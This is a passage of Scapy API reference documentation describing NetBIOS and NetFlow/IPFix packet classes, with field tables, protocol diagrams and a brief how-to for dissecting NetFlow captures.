parse_options(server_name=None, from_ip=None, ip=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L388-L401]

	NBNS answering machine


	Parameters:

	
	server_name – the netbios server name to match


	from_ip – an IP (can have a netmask) to filter on


	ip – the IP to answer with













	
sniff_options: Dict[str, Any] = {'store': 0}

	








	
class scapy.layers.netbios.NBTDatagram(_pkt, /, *, Type=16, Flags=2, ID=0, SourceIP='127.0.0.1', SourcePort=138, Length=None, Offset=0, SourceName=b'windows', SUFFIX1=16705, NULL1=0, DestinationName=b'windows', SUFFIX2=16705, NULL2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L312-L332]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SOURCEIP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SOURCEPORT          |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OFFSET            |           SOURCENAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            SUFFIX1            |     NULL1     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        DESTINATIONNAME                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |    SUFFIX2    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     NULL2     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NBTDatagram                         


NBTDatagram fields






	Type

	ByteField

	16



	Flags

	ByteField

	2



	ID

	ShortField

	0



	SourceIP

	IPField

	'127.0.0.1'



	SourcePort

	ShortField

	138



	Length

	ShortField

	None



	Offset

	ShortField

	0



	SourceName

	NetBIOSNameField

	b'windows'



	SUFFIX1

	ShortEnumField

	16705



	NULL1

	ByteField

	0



	DestinationName

	NetBIOSNameField

	b'windows'



	SUFFIX2

	ShortEnumField

	16705



	NULL2

	ByteField

	0











	
payload_guess

	Possible sublayers:
_SMBGeneric






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L328-L332]

	








	
class scapy.layers.netbios.NBTSession(_pkt, /, *, TYPE=0, RESERVED=0, LENGTH=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L338-L365]

	Bases: Packet


	
MAXLENGTH = 262143

	




	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L356-L357]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |   RESERVED  |              LENGTH             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NBTSession                          


NBTSession fields






	TYPE

	ByteEnumField

	0



	RESERVED

	BitField  (7 bits)

	0



	LENGTH

	BitField  (17 bits)

	None











	
payload_guess

	Possible sublayers:
_SMBGeneric






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L350-L354]

	




	
classmethod tcp_reassemble(data, *args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L359-L365]

	








	
class scapy.layers.netbios.NetBIOS_DS(_pkt, /, *, type=17, flags=0, id=0, src='127.0.0.1', sport=138, len=None, ofs=0, srcname=b'', dstname=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L42-L61]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPORT             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              OFS              |            SRCNAME            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    DSTNAME                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NetBIOS_DS                          


NetBIOS_DS fields






	type

	ByteEnumField

	17



	flags

	ByteField

	0



	id

	XShortField

	0



	src

	IPField

	'127.0.0.1'



	sport

	ShortField

	138



	len

	ShortField

	None



	ofs

	ShortField

	0



	srcname

	NetBIOSNameField

	b''



	dstname

	NetBIOSNameField

	b''











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L56-L61]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.netflow

Cisco NetFlow protocol v1, v5, v9 and v10 (IPFix)

HowTo dissect NetflowV9/10 (IPFix) packets

# From a pcap / list of packets

Using sniff and sessions:

>>> sniff(offline=open("my_great_pcap.pcap", "rb"), session=NetflowSession)





Using the netflowv9_defragment/ipfix_defragment commands:


	get a list of packets containing NetflowV9/10 packets


	call netflowv9_defragment(plist) to defragment the list




(ipfix_defragment is an alias for netflowv9_defragment)

# Live / on-the-flow / other: use NetflowSession:

>>> sniff(session=NetflowSession, prn=[...])






	
scapy.layers.netflow.GetNetflowRecordV9(flowset, templateID=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1371-L1396]

	Get a NetflowRecordV9/10 for a specific NetflowFlowsetV9/10.

Have a look at the online doc for examples.






	
class scapy.layers.netflow.N9SecondsIntField(name, default, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L230-L237]

	Bases: SecondsIntField, _AdjustableNetflowField

Defines dateTimeSeconds (without EPOCH: just seconds)






	
class scapy.layers.netflow.N9UTCTimeField(name, default, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L240-L247]

	Bases: UTCTimeField, _AdjustableNetflowField

Defines dateTimeSeconds (EPOCH)






	
class scapy.layers.netflow.NetflowDataflowsetV9(_pkt, /, *, templateID=255, length=None, records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1407-L1439]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1416-L1430]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TEMPLATEID          |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RECORDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. NetflowDataflowsetV9                     


NetflowDataflowsetV9 fields






	templateID

	ShortField

	255



	length

	ShortField

	None



	records

	PacketListField

	[]











	
payload_guess

	Possible sublayers:
NetflowDataflowsetV9






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1432-L1439]

	








	
class scapy.layers.netflow.NetflowFlowsetV9(_pkt, /, *, flowSetID=0, length=None, templates=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1317-L1323]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FLOWSETID           |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TEMPLATES           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NetflowFlowsetV9                       


NetflowFlowsetV9 fields






	flowSetID

	ShortField

	0



	length

	FieldLenField

	None



	templates

	PacketListField

	[]











	
payload_guess

	Possible sublayers:
NetflowDataflowsetV9










	
class scapy.layers.netflow.NetflowHeader(_pkt, /, *, version=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L82-L84]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. NetflowHeader                        


NetflowHeader fields






	version

	ShortField

	1











	
payload_guess

	Possible sublayers:
NetflowHeaderV10, NetflowHeaderV1, NetflowHeaderV5, NetflowHeaderV9










	
class scapy.layers.netflow.NetflowHeaderV1(_pkt, /, *, count=None, sysUptime=0, unixSecs=0, unixNanoSeconds=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L98-L109]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COUNT             |           SYSUPTIME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNIXSECS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        UNIXNANOSECONDS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NetflowHeaderV1                       


NetflowHeaderV1 fields






	count

	ShortField

	None



	sysUptime

	IntField

	0



	unixSecs

	UTCTimeField

	0



	unixNanoSeconds

	UTCTimeField

	0











	
payload_guess

	Possible sublayers:
NetflowRecordV1






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L105-L109]

	








	
class scapy.layers.netflow.NetflowHeaderV10(_pkt, /, *, length=None, ExportTime=0, flowSequence=0, ObservationDomainID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1269-L1281]

	Bases: Packet

IPFix (Netflow V10) Header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |           EXPORTTIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          FLOWSEQUENCE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      OBSERVATIONDOMAINID      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NetflowHeaderV10                       


NetflowHeaderV10 fields






	length

	ShortField

	None



	ExportTime

	UTCTimeField

	0



	flowSequence

	IntField

	0



	ObservationDomainID

	IntField

	0











	
payload_guess

	Possible sublayers:
NetflowDataflowsetV9






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1277-L1281]

	








	
class scapy.layers.netflow.NetflowHeaderV5(_pkt, /, *, count=None, sysUptime=0, unixSecs=0, unixNanoSeconds=0, flowSequence=0, engineType=0, engineID=0, samplingInterval=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L142-L157]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COUNT             |           SYSUPTIME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNIXSECS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        UNIXNANOSECONDS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          FLOWSEQUENCE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |   ENGINETYPE  |    ENGINEID   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        SAMPLINGINTERVAL       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NetflowHeaderV5                       


NetflowHeaderV5 fields






	count

	ShortField

	None



	sysUptime

	IntField

	0



	unixSecs

	UTCTimeField

	0



	unixNanoSeconds

	UTCTimeField

	0



	flowSequence

	IntField

	0



	engineType

	ByteField

	0



	engineID

	ByteField

	0



	samplingInterval

	ShortField

	0











	
payload_guess

	Possible sublayers:
NetflowRecordV5






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L153-L157]

	








	
class scapy.layers.netflow.NetflowHeaderV9(_pkt, /, *, count=None, sysUptime=0, unixSecs=None, packageSequence=0, SourceID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1237-L1265]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COUNT             |           SYSUPTIME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNIXSECS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        PACKAGESEQUENCE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            SOURCEID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NetflowHeaderV9                       


NetflowHeaderV9 fields






	count

	ShortField

	None



	sysUptime

	IntField

	0



	unixSecs

	UTCTimeField

	None



	packageSequence

	IntField

	0



	SourceID

	IntField

	0











	
payload_guess

	Possible sublayers:
NetflowDataflowsetV9






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1245-L1265]

	








	
class scapy.layers.netflow.NetflowOptionsFlowset10(_pkt, /, *, flowSetID=3, length=None, templateID=255, field_count=None, scope_field_count=None, scopes=[], options=[], pad=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1667-L1704]

	Bases: NetflowOptionsFlowsetV9

Netflow V10 (IPFix) Options Template FlowSet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FLOWSETID           |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TEMPLATEID          |          FIELD COUNT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       SCOPE FIELD COUNT       |             SCOPES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NetflowOptionsFlowset10                   


NetflowOptionsFlowset10 fields






	flowSetID

	ShortField

	3



	length

	ShortField

	None



	templateID

	ShortField

	255



	field_count

	FieldLenField

	None



	scope_field_count

	FieldLenField

	None



	scopes

	PacketListField

	[]



	options

	PacketListField

	[]



	pad

	StrLenField

	None











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1697-L1704]

	








	
class scapy.layers.netflow.NetflowOptionsFlowsetOptionV9(_pkt, /, *, enterpriseBit=0, optionFieldType=None, optionFieldlength=0, enterpriseNumber=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1608-L1618]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1617-L1618]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|E|       OPTIONFIELDTYPE       |       OPTIONFIELDLENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ENTERPRISENUMBER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. NetflowOptionsFlowsetOptionV9                


NetflowOptionsFlowsetOptionV9 fields






	enterpriseBit

	BitField  (1 bit)

	0



	optionFieldType

	BitEnumField

	None



	optionFieldlength

	ShortField

	0



	enterpriseNumber

	ShortField (Cond)

	0















	
class scapy.layers.netflow.NetflowOptionsFlowsetScopeV9(_pkt, /, *, scopeFieldType=None, scopeFieldlength=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1622-L1628]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1627-L1628]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SCOPEFIELDTYPE        |        SCOPEFIELDLENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. NetflowOptionsFlowsetScopeV9                 


NetflowOptionsFlowsetScopeV9 fields






	scopeFieldType

	ShortEnumField

	None



	scopeFieldlength

	ShortField

	0















	
class scapy.layers.netflow.NetflowOptionsFlowsetV9(_pkt, /, *, flowSetID=1, length=None, templateID=255, option_scope_length=None, option_field_length=None, scopes=[], options=[], pad=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1631-L1663]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1653-L1654]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FLOWSETID           |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TEMPLATEID          |      OPTION SCOPE LENGTH      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      OPTION FIELD LENGTH      |             SCOPES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NetflowOptionsFlowsetV9                   


NetflowOptionsFlowsetV9 fields






	flowSetID

	ShortField

	1



	length

	ShortField

	None



	templateID

	ShortField

	255



	option_scope_length

	FieldLenField

	None



	option_field_length

	FieldLenField

	None



	scopes

	PacketListField

	[]



	options

	PacketListField

	[]



	pad

	StrLenField

	None











	
payload_guess

	Possible sublayers:
NetflowDataflowsetV9






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1656-L1663]

	








	
class scapy.layers.netflow.NetflowOptionsRecordOptionV9(_pkt, /, *, fieldValue=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1603-L1604]

	Bases: NetflowRecordV9


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FIELDVALUE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. NetflowOptionsRecordOptionV9                 


NetflowOptionsRecordOptionV9 fields






	fieldValue

	StrField

	b''















	
class scapy.layers.netflow.NetflowOptionsRecordScopeV9(_pkt, /, *, fieldValue=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1599-L1600]

	Bases: NetflowRecordV9


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FIELDVALUE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. NetflowOptionsRecordScopeV9                 


NetflowOptionsRecordScopeV9 fields






	fieldValue

	StrField

	b''















	
class scapy.layers.netflow.NetflowRecordV1(_pkt, /, *, ipsrc='0.0.0.0', ipdst='0.0.0.0', nexthop='0.0.0.0', inputIfIndex=0, outpuIfIndex=0, dpkts=0, dbytes=0, starttime=0, endtime=0, srcport=0, dstport=0, padding=0, proto=0, tos=0, padding1=0, padding2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L112-L129]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             IPSRC                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             IPDST                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEXTHOP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          INPUTIFINDEX         |          OUTPUIFINDEX         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DPKTS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DBYTES                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           STARTTIME                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ENDTIME                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SRCPORT            |            DSTPORT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |     PROTO     |      TOS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PADDING1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PADDING2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NetflowRecordV1                       


NetflowRecordV1 fields






	ipsrc

	IPField

	'0.0.0.0'



	ipdst

	IPField

	'0.0.0.0'



	nexthop

	IPField

	'0.0.0.0'



	inputIfIndex

	ShortField

	0



	outpuIfIndex

	ShortField

	0



	dpkts

	IntField

	0



	dbytes

	IntField

	0



	starttime

	IntField

	0



	endtime

	IntField

	0



	srcport

	ShortField

	0



	dstport

	ShortField

	0



	padding

	ShortField

	0



	proto

	ByteField

	0



	tos

	ByteField

	0



	padding1

	IntField

	0



	padding2

	IntField

	0











	
payload_guess

	Possible sublayers:
NetflowRecordV1










	
class scapy.layers.netflow.NetflowRecordV5(_pkt, /, *, src='127.0.0.1', dst='127.0.0.1', nexthop='0.0.0.0', input=0, output=0, dpkts=1, dOctets=60, first=0, last=0, srcport=0, dstport=0, pad1=0, tcpFlags=<Flag 2 (S)>, prot=6, tos=0, src_as=0, dst_as=0, src_mask=0, dst_mask=0, pad2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L160-L181]

	Bases: Packet


	
aliastypes
